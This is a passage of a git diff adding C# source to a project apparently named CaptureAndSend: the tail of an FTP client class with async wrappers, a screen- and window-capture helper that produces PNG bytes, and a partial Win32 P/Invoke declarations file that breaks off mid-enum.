supported?): " + this.result, ex); + } + } + } + + string ipAddress = parts[0] + "."+ parts[1]+ "." + parts[2] + "." + parts[3]; + + int port = (parts[4] << 8) + parts[5]; + + Socket socket = null; + IPEndPoint ep = null; + + try + { + socket = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); + ep = new IPEndPoint(Dns.Resolve(ipAddress).AddressList[0], port); + socket.Connect(ep); + } + catch(Exception ex) + { + // doubtfull.... + if ( socket != null && socket.Connected ) socket.Close(); + + throw new FtpException("Can't connect to remote server", ex); + } + + return socket; + } + + /// + /// Always release those sockets. + /// + private void cleanup() + { + if ( this.clientSocket!=null ) + { + this.clientSocket.Close(); + this.clientSocket = null; + } + this.loggedin = false; + } + + /// + /// Destuctor + /// + ~FtpClient() + { + this.cleanup(); + } + + + /**************************************************************************************************************/ + #region Async methods (auto generated) + +/* + WinInetApi.FtpClient ftp = new WinInetApi.FtpClient(); + + MethodInfo[] methods = ftp.GetType().GetMethods(BindingFlags.DeclaredOnly|BindingFlags.Instance|BindingFlags.Public); + + foreach ( MethodInfo method in methods ) + { + string param = ""; + string values = ""; + foreach ( ParameterInfo i in method.GetParameters() ) + { + param += i.ParameterType.Name + " " + i.Name + ","; + values += i.Name + ","; + } + + + Debug.WriteLine("private delegate " + method.ReturnType.Name + " " + method.Name + "Callback(" + param.TrimEnd(',') + ");"); + + Debug.WriteLine("public System.IAsyncResult Begin" + method.Name + "( " + param + " System.AsyncCallback callback )"); + Debug.WriteLine("{"); + Debug.WriteLine("" + method.Name + "Callback ftpCallback = new " + method.Name + "Callback(" + values + " this." + method.Name + ");"); + Debug.WriteLine("return ftpCallback.BeginInvoke(callback, null);"); + Debug.WriteLine("}"); + Debug.WriteLine("public void End" + method.Name + "(System.IAsyncResult asyncResult)"); + Debug.WriteLine("{"); + Debug.WriteLine(method.Name + "Callback fc = (" + method.Name + "Callback) ((AsyncResult)asyncResult).AsyncDelegate;"); + Debug.WriteLine("fc.EndInvoke(asyncResult);"); + Debug.WriteLine("}"); + //Debug.WriteLine(method); + } +*/ + + + private delegate void LoginCallback(); + public System.IAsyncResult BeginLogin( System.AsyncCallback callback ) + { + LoginCallback ftpCallback = new LoginCallback( this.Login); + return ftpCallback.BeginInvoke(callback, null); + } + private delegate void CloseCallback(); + public System.IAsyncResult BeginClose( System.AsyncCallback callback ) + { + CloseCallback ftpCallback = new CloseCallback( this.Close); + return ftpCallback.BeginInvoke(callback, null); + } + private delegate String[] GetFileListCallback(); + public System.IAsyncResult BeginGetFileList( System.AsyncCallback callback ) + { + GetFileListCallback ftpCallback = new GetFileListCallback( this.GetFileList); + return ftpCallback.BeginInvoke(callback, null); + } + private delegate String[] GetFileListMaskCallback(String mask); + public System.IAsyncResult BeginGetFileList( String mask, System.AsyncCallback callback ) + { + GetFileListMaskCallback ftpCallback = new GetFileListMaskCallback(this.GetFileList); + return ftpCallback.BeginInvoke(mask, callback, null); + } + private delegate Int64 GetFileSizeCallback(String fileName); + public System.IAsyncResult BeginGetFileSize( String fileName, System.AsyncCallback callback ) + { + GetFileSizeCallback ftpCallback = new GetFileSizeCallback(this.GetFileSize); + return ftpCallback.BeginInvoke(fileName, callback, null); + } + private delegate void DownloadCallback(String remFileName); + public System.IAsyncResult BeginDownload( String remFileName, System.AsyncCallback callback ) + { + DownloadCallback ftpCallback = new DownloadCallback(this.Download); + return ftpCallback.BeginInvoke(remFileName, callback, null); + } + private delegate void DownloadFileNameResumeCallback(String remFileName,Boolean resume); + public System.IAsyncResult BeginDownload( String remFileName,Boolean resume, System.AsyncCallback callback ) + { + DownloadFileNameResumeCallback ftpCallback = new DownloadFileNameResumeCallback(this.Download); + return ftpCallback.BeginInvoke(remFileName, resume, callback, null); + } + private delegate void DownloadFileNameFileNameCallback(String remFileName,String locFileName); + public System.IAsyncResult BeginDownload( String remFileName,String locFileName, System.AsyncCallback callback ) + { + DownloadFileNameFileNameCallback ftpCallback = new DownloadFileNameFileNameCallback(this.Download); + return ftpCallback.BeginInvoke(remFileName, locFileName, callback, null); + } + private delegate void DownloadFileNameFileNameResumeCallback(String remFileName,String locFileName,Boolean resume); + public System.IAsyncResult BeginDownload( String remFileName,String locFileName,Boolean resume, System.AsyncCallback callback ) + { + DownloadFileNameFileNameResumeCallback ftpCallback = new DownloadFileNameFileNameResumeCallback(this.Download); + return ftpCallback.BeginInvoke(remFileName, locFileName, resume, callback, null); + } + private delegate void UploadCallback(String fileName); + public System.IAsyncResult BeginUpload( String fileName, System.AsyncCallback callback ) + { + UploadCallback ftpCallback = new UploadCallback(this.Upload); + return ftpCallback.BeginInvoke(fileName, callback, null); + } + private delegate void UploadFileNameResumeCallback(String fileName,Boolean resume); + public System.IAsyncResult BeginUpload( String fileName,Boolean resume, System.AsyncCallback callback ) + { + UploadFileNameResumeCallback ftpCallback = new UploadFileNameResumeCallback(this.Upload); + return ftpCallback.BeginInvoke(fileName, resume, callback, null); + } + private delegate void UploadDirectoryCallback(String path,Boolean recurse); + public System.IAsyncResult BeginUploadDirectory( String path,Boolean recurse, System.AsyncCallback callback ) + { + UploadDirectoryCallback ftpCallback = new UploadDirectoryCallback(this.UploadDirectory); + return ftpCallback.BeginInvoke(path, recurse, callback, null); + } + private delegate void UploadDirectoryPathRecurseMaskCallback(String path,Boolean recurse,String mask); + public System.IAsyncResult BeginUploadDirectory( String path,Boolean recurse,String mask, System.AsyncCallback callback ) + { + UploadDirectoryPathRecurseMaskCallback ftpCallback = new UploadDirectoryPathRecurseMaskCallback(this.UploadDirectory); + return ftpCallback.BeginInvoke(path, recurse, mask, callback, null); + } + private delegate void DeleteFileCallback(String fileName); + public System.IAsyncResult BeginDeleteFile( String fileName, System.AsyncCallback callback ) + { + DeleteFileCallback ftpCallback = new DeleteFileCallback(this.DeleteFile); + return ftpCallback.BeginInvoke(fileName, callback, null); + } + private delegate void RenameFileCallback(String oldFileName,String newFileName,Boolean overwrite); + public System.IAsyncResult BeginRenameFile( String oldFileName,String newFileName,Boolean overwrite, System.AsyncCallback callback ) + { + RenameFileCallback ftpCallback = new RenameFileCallback(this.RenameFile); + return ftpCallback.BeginInvoke(oldFileName, newFileName, overwrite, callback, null); + } + private delegate void MakeDirCallback(String dirName); + public System.IAsyncResult BeginMakeDir( String dirName, System.AsyncCallback callback ) + { + MakeDirCallback ftpCallback = new MakeDirCallback(this.MakeDir); + return ftpCallback.BeginInvoke(dirName, callback, null); + } + private delegate void RemoveDirCallback(String dirName); + public System.IAsyncResult BeginRemoveDir( String dirName, System.AsyncCallback callback ) + { + RemoveDirCallback ftpCallback = new RemoveDirCallback(this.RemoveDir); + return ftpCallback.BeginInvoke(dirName, callback, null); + } + private delegate void ChangeDirCallback(String dirName); + public System.IAsyncResult BeginChangeDir( String dirName, System.AsyncCallback callback ) + { + ChangeDirCallback ftpCallback = new ChangeDirCallback(this.ChangeDir); + return ftpCallback.BeginInvoke(dirName, callback, null); + } + + #endregion + } +} \ No newline at end of file diff --git a/CaptureAndSend/ScreenCapturing.cs b/CaptureAndSend/ScreenCapturing.cs new file mode 100644 index 0000000..daa75b3 --- /dev/null +++ b/CaptureAndSend/ScreenCapturing.cs @@ -0,0 +1,368 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.ComponentModel; + +namespace CaptureAndSend +{ + /// + /// Provides methods for capturing windows, and window icons as bitmap images + /// + public class ScreenCapturing + { + /// + /// Gets a large icon from the window as a Bitmap + /// + public static Bitmap GetWindowLargeIconAsBitmap(int handle) + { + try + { + int result; + IntPtr hWnd = new IntPtr(handle); + Win32.SendMessageTimeout(hWnd, Win32.WM_GETICON, Win32.ICON_BIG, 0, Win32.SMTO_ABORTIFHUNG, 1000, out result); + + IntPtr hIcon = new IntPtr(result); + + if (hIcon == IntPtr.Zero) + { + result = Win32.GetClassLong(hWnd, Win32.GCL_HICON); + hIcon = new IntPtr(result); + } + + if (hIcon == IntPtr.Zero) + { + Win32.SendMessageTimeout(hWnd, Win32.WM_QUERYDRAGICON, 0, 0, Win32.SMTO_ABORTIFHUNG, 1000, out result); + hIcon = new IntPtr(result); + } + + if (hIcon == IntPtr.Zero) + return null; + else + return Bitmap.FromHicon(hIcon); + } + catch(System.Exception) + { + // System.Diagnostics.Trace.WriteLine(systemException); + } + return null; + } + + /// + /// Gets a small icon from the window as a Bitmap + /// + public static Bitmap GetWindowSmallIconAsBitmap(int handle) + { + try + { + int result; + IntPtr hWnd = new IntPtr(handle); + Win32.SendMessageTimeout(hWnd, Win32.WM_GETICON, Win32.ICON_SMALL, 0, Win32.SMTO_ABORTIFHUNG, 1000, out result); + + IntPtr hIcon = new IntPtr(result); + + if (hIcon == IntPtr.Zero) + { + result = Win32.GetClassLong(hWnd, Win32.GCL_HICONSM); + hIcon = new IntPtr(result); + } + + if (hIcon == IntPtr.Zero) + { + Win32.SendMessageTimeout(hWnd, Win32.WM_QUERYDRAGICON, 0, 0, Win32.SMTO_ABORTIFHUNG, 1000, out result); + hIcon = new IntPtr(result); + } + + if (hIcon == IntPtr.Zero) + return null; + else + return Bitmap.FromHicon(hIcon); + } + catch(System.Exception) + { + // System.Diagnostics.Trace.WriteLine(systemException); + } + return null; + } + + /// + /// Gets a Bitmap of the window (aka. screen capture) + /// + public static Bitmap GetPrimaryDesktopWindowCaptureAsBitmap() + { + // create a graphics object from the window handle + Graphics gfxWindow = Graphics.FromHwnd(IntPtr.Zero); + + // create a bitmap from the visible clipping bounds of the graphics object from the window + Bitmap bitmap = new Bitmap((int)gfxWindow.VisibleClipBounds.Width, (int)gfxWindow.VisibleClipBounds.Height, gfxWindow); + + // create a graphics object from the bitmap + Graphics gfxBitmap = Graphics.FromImage(bitmap); + + // get a device context for the window + IntPtr hdcWindow = gfxWindow.GetHdc(); + + // get a device context for the bitmap + IntPtr hdcBitmap = gfxBitmap.GetHdc(); + + // bitblt the window to the bitmap + Win32.BitBlt(hdcBitmap, 0, 0, bitmap.Width, bitmap.Height, hdcWindow, 0, 0, (int)Win32.TernaryRasterOperations.SRCCOPY); + + // release the bitmap's device context + gfxBitmap.ReleaseHdc(hdcBitmap); + + // release the window's device context + gfxWindow.ReleaseHdc(hdcWindow); + + // dispose of the bitmap's graphics object + gfxBitmap.Dispose(); + + // dispose of the window's graphics object + gfxWindow.Dispose(); + + // return the bitmap of the window + return bitmap; + } + + public static Bitmap GetDesktopWindowCaptureAsBitmap() + { + Rectangle rcScreen = Rectangle.Empty; + Screen[] screens = Screen.AllScreens; + + // Create a rectangle encompassing all screens... + foreach(Screen screen in screens) + rcScreen = Rectangle.Union(rcScreen, screen.Bounds); + // System.Diagnostics.Trace.WriteLine(rcScreen); + + // Create a composite bitmap of the size of all screens... + Bitmap finalBitmap = new Bitmap(rcScreen.Width, rcScreen.Height); + + // Get a graphics object for the composite bitmap and initialize it... + Graphics g = Graphics.FromImage(finalBitmap); + g.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighSpeed; + g.FillRectangle(SystemBrushes.Desktop, 0, 0, rcScreen.Width - rcScreen.X, rcScreen.Height - rcScreen.Y); + + // Get an HDC for the composite area... + IntPtr hdcDestination = g.GetHdc(); + + // Now, loop through screens, BitBlting each to the composite HDC created above... + foreach(Screen screen in screens) + { + // Create DC for each source monitor... + IntPtr hdcSource = Win32.CreateDC(IntPtr.Zero, screen.DeviceName, IntPtr.Zero, IntPtr.Zero); + + // Blt the source directly to the composite destination... + int xDest = screen.Bounds.X - rcScreen.X; + int yDest = screen.Bounds.Y - rcScreen.Y; + // bool success = BitBlt(hdcDestination, xDest, yDest, screen.Bounds.Width, screen.Bounds.Height, hdcSource, 0, 0, (int)TernaryRasterOperations.SRCCOPY); + bool success = Win32.StretchBlt(hdcDestination, xDest, yDest, screen.Bounds.Width, screen.Bounds.Height, hdcSource, 0, 0, screen.Bounds.Width, screen.Bounds.Height, (int)Win32.TernaryRasterOperations.SRCCOPY); + // System.Diagnostics.Trace.WriteLine(screen.Bounds); + if (!success) + { + System.ComponentModel.Win32Exception win32Exception = new System.ComponentModel.Win32Exception(); + System.Diagnostics.Trace.WriteLine(win32Exception); + } + + // Cleanup source HDC... + Win32.DeleteDC(hdcSource); + } + + // Cleanup destination HDC and Graphics... + g.ReleaseHdc(hdcDestination); + g.Dispose(); + + // IntPtr hDC = GetDC(IntPtr.Zero); + // Graphics gDest = Graphics.FromHdc(hDC); + // gDest.DrawImage(finalBitmap, 0, 0, 640, 480); + // gDest.Dispose(); + // ReleaseDC(IntPtr.Zero, hDC); + + // Return composite bitmap which will become our Form's PictureBox's image... + return finalBitmap; + } + + /// + /// Gets a Bitmap of the window (aka. screen capture) + /// + public static Bitmap GetWindowCaptureAsBitmap(int handle) + { + IntPtr hWnd = new IntPtr(handle); + Win32.Rect rc = new Win32.Rect(); + if (!Win32.GetWindowRect(hWnd, ref rc)) + return null; + +// Win32.WindowInfo wi = new Win32.WindowInfo(); +// wi.size = Marshal.SizeOf(wi); +// if (!Win32.GetWindowInfo(hWnd, ref wi)) +// return null; + + // create a bitmap from the visible clipping bounds of the graphics object from the window + Bitmap bitmap = new Bitmap(rc.Width, rc.Height); + + // create a graphics object from the bitmap + Graphics gfxBitmap = Graphics.FromImage(bitmap); + + // get a device context for the bitmap + IntPtr hdcBitmap = gfxBitmap.GetHdc(); + + // get a device context for the window + IntPtr hdcWindow = Win32.GetWindowDC(hWnd); + + // bitblt the window to the bitmap + Win32.BitBlt(hdcBitmap, 0, 0, rc.Width, rc.Height, hdcWindow, 0, 0, (int)Win32.TernaryRasterOperations.SRCCOPY); + + // release the bitmap's device context + gfxBitmap.ReleaseHdc(hdcBitmap); + + Win32.ReleaseDC(hWnd, hdcWindow); + + // dispose of the bitmap's graphics object + gfxBitmap.Dispose(); + + // return the bitmap of the window + return bitmap; + } + + /// + /// Convert a bitmap to a byte array + /// + /// + /// + public static byte[] GetBytes(Bitmap bmp) + { + if (bmp == null) + return new byte[0]; + + System.IO.MemoryStream stream = new System.IO.MemoryStream(); + bmp.Save(stream, System.Drawing.Imaging.ImageFormat.Png); + // maybe + // bmp.Dispose(); + + return stream.GetBuffer(); + } + + public static byte[] GetBytes(Icon icon) + { + if (icon == null) + return new byte[0]; + + System.IO.MemoryStream stream = new System.IO.MemoryStream(); + icon.Save(stream); + return stream.GetBuffer(); + } + + public static Icon GetIcon(byte[] bytes) + { + if (bytes == null) + return null; + + if (bytes.Length == 0) + return null; + + System.IO.MemoryStream stream = new System.IO.MemoryStream(bytes); + Icon icon = new Icon(stream); + stream.Close(); + try + { + return (Icon)icon.Clone(); + } + catch(Exception ex) + { + Trace.WriteLine(ex); + } + finally + { + icon.Dispose(); + } + return null; + } + + /// + /// Converts a byte array to a bitmap + /// + /// + /// + public static Bitmap GetBitmap(byte[] bytes) + { + if (bytes == null) + return null; + + if (bytes.Length == 0) + return null; + + System.IO.MemoryStream stream = new System.IO.MemoryStream(bytes); + Bitmap b = new Bitmap(stream); + stream.Close(); + try + { + return (Bitmap)b.Clone(); + } + catch(Exception ex) + { + Trace.WriteLine(ex); + } + finally + { + b.Dispose(); + } + return null; + } + + /// + /// Gets a byte array of a bitmap for the large icon for the window specified by the handle + /// + /// + /// + public static byte[] GetWindowLargeIconAsByteArray(int handle) + { + return ScreenCapturing.GetBytes(ScreenCapturing.GetWindowLargeIconAsBitmap(handle)); + } + + /// + /// Gets a byte array of a bitmap for the small icon for the window specified by the handle + /// + /// + /// + public static byte[] GetWindowSmallIconAsByteArray(int handle) + { + return ScreenCapturing.GetBytes(ScreenCapturing.GetWindowSmallIconAsBitmap(handle)); + } + + /// + /// Gets a byte array of a bitmap for the desktop window + /// + /// + public static byte[] GetDesktopWindowCaptureAsByteArray() + { + return ScreenCapturing.GetBytes(ScreenCapturing.GetDesktopWindowCaptureAsBitmap()); + } + + /// + /// Gets a byte array of a bitmap for the window specified by the handle + /// + /// + /// + public static byte[] GetWindowCaptureAsByteArray(int handle) + { + return ScreenCapturing.GetBytes(ScreenCapturing.GetWindowCaptureAsBitmap(handle)); + } + + /// + /// Calculates the total screen size, for all attached monitors, by unioning each monitor's bounds together + /// + /// + public static Rectangle CalculateTotalScreenSize() + { + Rectangle rcScreen = Rectangle.Empty; + Screen[] screens = Screen.AllScreens; + + // Create a rectangle encompassing all screens... + foreach(Screen screen in screens) + rcScreen = Rectangle.Union(rcScreen, screen.Bounds); + + return rcScreen; + } + } + +} diff --git a/CaptureAndSend/Win32.cs b/CaptureAndSend/Win32.cs new file mode 100644 index 0000000..4eada51 --- /dev/null +++ b/CaptureAndSend/Win32.cs @@ -0,0 +1,830 @@ +using System; +using System.Text; +using System.Windows.Forms; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace CaptureAndSend +{ + /// + /// Exposes constants, structures, enumerations, and functions from the Win32 API found in the Platform SDK. + /// + public class Win32 + { + public const uint MAX_PATH = 260; + + #region Hooks - user32.dll + + /// + /// Defines the layout of the MouseHookStruct + /// + [StructLayout(LayoutKind.Sequential)] + public struct MSLLHOOKSTRUCT + { + public Point Point; + public int MouseData; + public int Flags; + public int Time; + public int ExtraInfo; + } + + /// + /// EventArgs class for use as parameters by HookEventHandler delegates + /// + public class HookEventArgs: EventArgs + { + private int _code; + private IntPtr _wParam; + private IntPtr _lParam; + + /// + /// Initializes a new instance of the HookEventArgs class + /// + /// the hook code + /// hook specific information + /// hook specific information + public HookEventArgs(int code, IntPtr wParam, IntPtr lParam) + { + _code = code; + _wParam = wParam; + _lParam = lParam; + } + + /// + /// The hook code + /// + public int Code + { + get + { + return _code; + } + } + + /// + /// A pointer to data + /// + public IntPtr wParam + { + get + { + return _wParam; + } + } + + /// + /// A pointer to data + /// + public IntPtr lParam + { + get + { + return _lParam; + } + } + } + + /// + /// Event delegate for use with the HookEventArgs class + /// + public delegate void HookEventHandler(object sender, HookEventArgs e); + + /// + /// Defines the various types of hooks that are available in Windows + /// + public enum HookTypes: int + { + WH_JOURNALRECORD = 0, + WH_JOURNALPLAYBACK = 1, + WH_KEYBOARD = 2, + WH_GETMESSAGE = 3, + WH_CALLWNDPROC = 4, + WH_CBT = 5, + WH_SYSMSGFILTER = 6, + WH_MOUSE = 7, + WH_HARDWARE = 8, + WH_DEBUG = 9, + WH_SHELL = 10, + WH_FOREGROUNDIDLE = 11, + WH_CALLWNDPROCRET = 12, + WH_KEYBOARD_LL = 13, + WH_MOUSE_LL = 14 + } + + public enum ShellHookMessages + { + HSHELL_WINDOWCREATED = 1, + HSHELL_WINDOWDESTROYED = 2, + HSHELL_ACTIVATESHELLWINDOW = 3, + HSHELL_WINDOWACTIVATED = 4, + HSHELL_GETMINRECT = 5, + HSHELL_REDRAW = 6, + HSHELL_TASKMAN = 7, + HSHELL_LANGUAGE = 8, + HSHELL_ACCESSIBILITYSTATE = 11 + } + + public delegate int HookProc(int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern IntPtr SetWindowsHookEx(HookTypes hookType, HookProc hookProc, IntPtr hInstance, int nThreadId); + + [DllImport("user32.dll")] + public static extern int UnhookWindowsHookEx(IntPtr hookHandle); + + [DllImport("user32.dll")] + public static extern int CallNextHookEx(IntPtr hookHandle, int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern int RegisterShellHookWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern int DeregisterShellHookWindow(IntPtr hWnd); + + #endregion Hooks + + #region System - Kernel32.dll + + [DllImport("kernel32.dll", EntryPoint="GetLastError", SetLastError=true, ExactSpelling=true, CallingConvention=CallingConvention.StdCall)] + public static extern Int32 GetLastError(); + + #endregion + + #region Windows - user32.dll + + public const int GWL_HWNDPARENT = (-8); + public const int GWL_EXSTYLE = (-20); + public const int GWL_STYLE = (-16); + public const int GCL_HICON = (-14); + public const int GCL_HICONSM = (-34); + public const int WM_QUERYDRAGICON = 0x37; + public const int WM_GETICON = 0x7F; + public const int WM_SETICON = 0x80; + public const int ICON_SMALL = 0; + public const int ICON_BIG = 1; + public const int SMTO_ABORTIFHUNG = 0x2; + public const int TRUE = 1; + public const int FALSE = 0; + + public const int WHITE_BRUSH = 0; + public const int LTGRAY_BRUSH = 1; + public const int GRAY_BRUSH = 2; + public const int DKGRAY_BRUSH = 3; + public const int BLACK_BRUSH = 4; + public const int NULL_BRUSH = 5; + public const int HOLLOW_BRUSH = NULL_BRUSH; + public const int WHITE_PEN = 6; + public const int BLACK_PEN = 7; + public const int NULL_PEN = 8; + public const int OEM_FIXED_FONT = 10; + public const int ANSI_FIXED_FONT = 11; + public const int ANSI_VAR_FONT = 12; + public const int SYSTEM_FONT = 13; + public const int DEVICE_DEFAULT_FONT = 14; + public const int DEFAULT_PALETTE = 15; + public const int SYSTEM_FIXED_FONT = 16; + + + public const int RDW_INVALIDATE = 0x0001; + public const int RDW_INTERNALPAINT = 0x0002; + public const int RDW_ERASE = 0x0004; + + public const int RDW_VALIDATE = 0x0008; + public const int RDW_NOINTERNALPAINT = 0x0010; + public const int RDW_NOERASE = 0x0020; + + public const int RDW_NOCHILDREN = 0x0040; + public const int RDW_ALLCHILDREN = 0x0080; + + public const int RDW_UPDATENOW = 0x0100; + public const int RDW_ERASENOW = 0x0200; + + public const int RDW_FRAME = 0x0400; + public const int RDW_NOFRAME = 0x0800; + + + + public enum ShowWindowCmds + { + SW_HIDE =0, + SW_SHOWNORMAL =1, + SW_NORMAL =1, + SW_SHOWMINIMIZED =2, + SW_SHOWMAXIMIZED =3, + SW_MAXIMIZE =3, + SW_SHOWNOACTIVATE =4, + SW_SHOW =5, + SW_MINIMIZE =6, + SW_SHOWMINNOACTIVE =7, + SW_SHOWNA =8, + SW_RESTORE =9, + SW_SHOWDEFAULT =10, + SW_FORCEMINIMIZE =11, + SW_MAX =11 + } + + public const int HIDE_WINDOW =0; + public const int SHOW_OPENWINDOW =1; + public const int SHOW_ICONWINDOW =2; + public const int SHOW_FULLSCREEN =3; + public const int SHOW_OPENNOACTIVATE =4; + public const int SW_PARENTCLOSING =1; + public const int SW_OTHERZOOM =2; + public const int SW_PARENTOPENING =3; + public const int SW_OTHERUNZOOM =4; + + public const int SWP_NOSIZE =0x0001; + public const int SWP_NOMOVE =0x0002; + public const int SWP_NOZORDER =0x0004; + public const int SWP_NOREDRAW =0x0008; + public const int SWP_NOACTIVATE =0x0010; + public const int SWP_FRAMECHANGED =0x0020; /* The frame changed: send WM_NCCALCSIZE */ + public const int SWP_SHOWWINDOW =0x0040; + public const int SWP_HIDEWINDOW =0x0080; + public const int SWP_NOCOPYBITS =0x0100; + public const int SWP_NOOWNERZORDER =0x0200; /* Don't do owner Z ordering */ + public const int SWP_NOSENDCHANGING =0x0400; /* Don't send WM_WINDOWPOSCHANGING */ + public const int SWP_DRAWFRAME =SWP_FRAMECHANGED; + public const int SWP_NOREPOSITION =SWP_NOOWNERZORDER; + public const int SWP_DEFERERASE =0x2000; + public const int SWP_ASYNCWINDOWPOS =0x4000; + + public const int HWND_TOP =0; + public const int HWND_BOTTOM =1; + public const int HWND_TOPMOST =-1; + public const int HWND_NOTOPMOST =-2; + + public enum PeekMessageFlags + { + PM_NOREMOVE = 0, + PM_REMOVE = 1, + PM_NOYIELD = 2 + } + + public enum WindowMessages + { + WM_NULL = 0x0000, + WM_CREATE = 0x0001, + WM_DESTROY = 0x0002, + WM_MOVE = 0x0003, + WM_SIZE = 0x0005, + WM_ACTIVATE = 0x0006, + WM_SETFOCUS = 0x0007, + WM_KILLFOCUS = 0x0008, + WM_ENABLE = 0x000A, + WM_SETREDRAW = 0x000B, + WM_SETTEXT = 0x000C, + WM_GETTEXT = 0x000D, + WM_GETTEXTLENGTH = 0x000E, + WM_PAINT = 0x000F, + WM_CLOSE = 0x0010, + WM_QUERYENDSESSION = 0x0011, + WM_QUIT = 0x0012, + WM_QUERYOPEN = 0x0013, + WM_ERASEBKGND = 0x0014, + WM_SYSCOLORCHANGE = 0x0015, + WM_ENDSESSION = 0x0016, + WM_SHOWWINDOW = 0x0018, + WM_CTLCOLOR = 0x0019, + WM_WININICHANGE = 0x001A, + WM_SETTINGCHANGE = 0x001A, + WM_DEVMODECHANGE = 0x001B, + WM_ACTIVATEAPP = 0x001C, + WM_FONTCHANGE = 0x001D, + WM_TIMECHANGE = 0x001E, + WM_CANCELMODE = 0x001F, + WM_SETCURSOR = 0x0020, + WM_MOUSEACTIVATE = 0x0021, + WM_CHILDACTIVATE = 0x0022, + WM_QUEUESYNC = 0x0023, + WM_GETMINMAXINFO = 0x0024, + WM_PAINTICON = 0x0026, + WM_ICONERASEBKGND = 0x0027, + WM_NEXTDLGCTL = 0x0028, + WM_SPOOLERSTATUS = 0x002A, + WM_DRAWITEM = 0x002B, + WM_MEASUREITEM = 0x002C, + WM_DELETEITEM = 0x002D, + WM_VKEYTOITEM = 0x002E, + WM_CHARTOITEM = 0x002F, + WM_SETFONT = 0x0030, + WM_GETFONT = 0x0031, + WM_SETHOTKEY = 0x0032, + WM_GETHOTKEY = 0x0033, + WM_QUERYDRAGICON = 0x0037, + WM_COMPAREITEM = 0x0039, + WM_GETOBJECT = 0x003D, + WM_COMPACTING = 0x0041, + WM_COMMNOTIFY = 0x0044 , + WM_WINDOWPOSCHANGING = 0x0046, + WM_WINDOWPOSCHANGED = 0x0047, + WM_POWER = 0x0048, + WM_COPYDATA = 0x004A, + WM_CANCELJOURNAL = 0x004B, + WM_NOTIFY = 0x004E, + WM_INPUTLANGCHANGEREQUEST = 0x0050, + WM_INPUTLANGCHANGE = 0x0051, + WM_TCARD = 0x0052, + WM_HELP = 0x0053, + WM_USERCHANGED = 0x0054, + WM_NOTIFYFORMAT = 0x0055, + WM_CONTEXTMENU = 0x007B, + WM_STYLECHANGING = 0x007C, + WM_STYLECHANGED = 0x007D, + WM_DISPLAYCHANGE = 0x007E, + WM_GETICON = 0x007F, + WM_SETICON = 0x0080, + WM_NCCREATE = 0x0081, + WM_NCDESTROY = 0x0082, + WM_NCCALCSIZE = 0x0083, + WM_NCHITTEST = 0x0084, + WM_NCPAINT = 0x0085, + WM_NCACTIVATE = 0x0086, + WM_GETDLGCODE = 0x0087, + WM_SYNCPAINT = 0x0088, + WM_NCMOUSEMOVE = 0x00A0, + WM_NCLBUTTONDOWN = 0x00A1, + WM_NCLBUTTONUP = 0x00A2, + WM_NCLBUTTONDBLCLK = 0x00A3, + WM_NCRBUTTONDOWN = 0x00A4, + WM_NCRBUTTONUP = 0x00A5, + WM_NCRBUTTONDBLCLK = 0x00A6, + WM_NCMBUTTONDOWN = 0x00A7, + WM_NCMBUTTONUP = 0x00A8, + WM_NCMBUTTONDBLCLK = 0x00A9, + WM_KEYDOWN = 0x0100, + WM_KEYUP = 0x0101, + WM_CHAR = 0x0102, + WM_DEADCHAR = 0x0103, + WM_SYSKEYDOWN = 0x0104, + WM_SYSKEYUP = 0x0105, + WM_SYSCHAR = 0x0106, + WM_SYSDEADCHAR = 0x0107, + WM_KEYLAST = 0x0108, + WM_IME_STARTCOMPOSITION = 0x010D, + WM_IME_ENDCOMPOSITION = 0x010E, + WM_IME_COMPOSITION = 0x010F, + WM_IME_KEYLAST = 0x010F, + WM_INITDIALOG = 0x0110, + WM_COMMAND = 0x0111, + WM_SYSCOMMAND = 0x0112, + WM_TIMER = 0x0113, + WM_HSCROLL = 0x0114, + WM_VSCROLL = 0x0115, + WM_INITMENU = 0x0116, + WM_INITMENUPOPUP = 0x0117, + WM_MENUSELECT = 0x011F, + WM_MENUCHAR = 0x0120, + WM_ENTERIDLE = 0x0121, + WM_MENURBUTTONUP = 0x0122, + WM_MENUDRAG = 0x0123, + WM_MENUGETOBJECT = 0x0124, + WM_UNINITMENUPOPUP = 0x0125, + WM_MENUCOMMAND = 0x0126, + WM_CTLCOLORMSGBOX = 0x0132, + WM_CTLCOLOREDIT = 0x0133, + WM_CTLCOLORLISTBOX = 0x0134, + WM_CTLCOLORBTN = 0x0135, + WM_CTLCOLORDLG = 0x0136, + WM_CTLCOLORSCROLLBAR = 0x0137, + WM_CTLCOLORSTATIC = 0x0138, + WM_MOUSEMOVE = 0x0200, + WM_LBUTTONDOWN = 0x0201, + WM_LBUTTONUP = 0x0202, + WM_LBUTTONDBLCLK = 0x0203, + WM_RBUTTONDOWN = 0x0204, + WM_RBUTTONUP = 0x0205, + WM_RBUTTONDBLCLK = 0x0206, + WM_MBUTTONDOWN = 0x0207, + WM_MBUTTONUP = 0x0208, + WM_MBUTTONDBLCLK = 0x0209, + WM_MOUSEWHEEL = 0x020A, + WM_PARENTNOTIFY = 0x0210, + WM_ENTERMENULOOP = 0x0211, + WM_EXITMENULOOP = 0x0212, + WM_NEXTMENU = 0x0213, + WM_SIZING = 0x0214, + WM_CAPTURECHANGED = 0x0215, + WM_MOVING = 0x0216, + WM_DEVICECHANGE = 0x0219, + WM_MDICREATE = 0x0220, + WM_MDIDESTROY = 0x0221, + WM_MDIACTIVATE = 0x0222, + WM_MDIRESTORE = 0x0223, + WM_MDINEXT = 0x0224, + WM_MDIMAXIMIZE = 0x0225, + WM_MDITILE = 0x0226, + WM_MDICASCADE = 0x0227, + WM_MDIICONARRANGE = 0x0228, + WM_MDIGETACTIVE = 0x0229, + WM_MDISETMENU = 0x0230, + WM_ENTERSIZEMOVE = 0x0231, + WM_EXITSIZEMOVE = 0x0232, + WM_DROPFILES = 0x0233, + WM_MDIREFRESHMENU = 0x0234, + WM_IME_SETCONTEXT = 0x0281, + WM_IME_NOTIFY = 0x0282, + WM_IME_CONTROL = 0x0283, + WM_IME_COMPOSITIONFULL = 0x0284, + WM_IME_SELECT = 0x0285, + WM_IME_CHAR = 0x0286, + WM_IME_REQUEST = 0x0288, + WM_IME_KEYDOWN 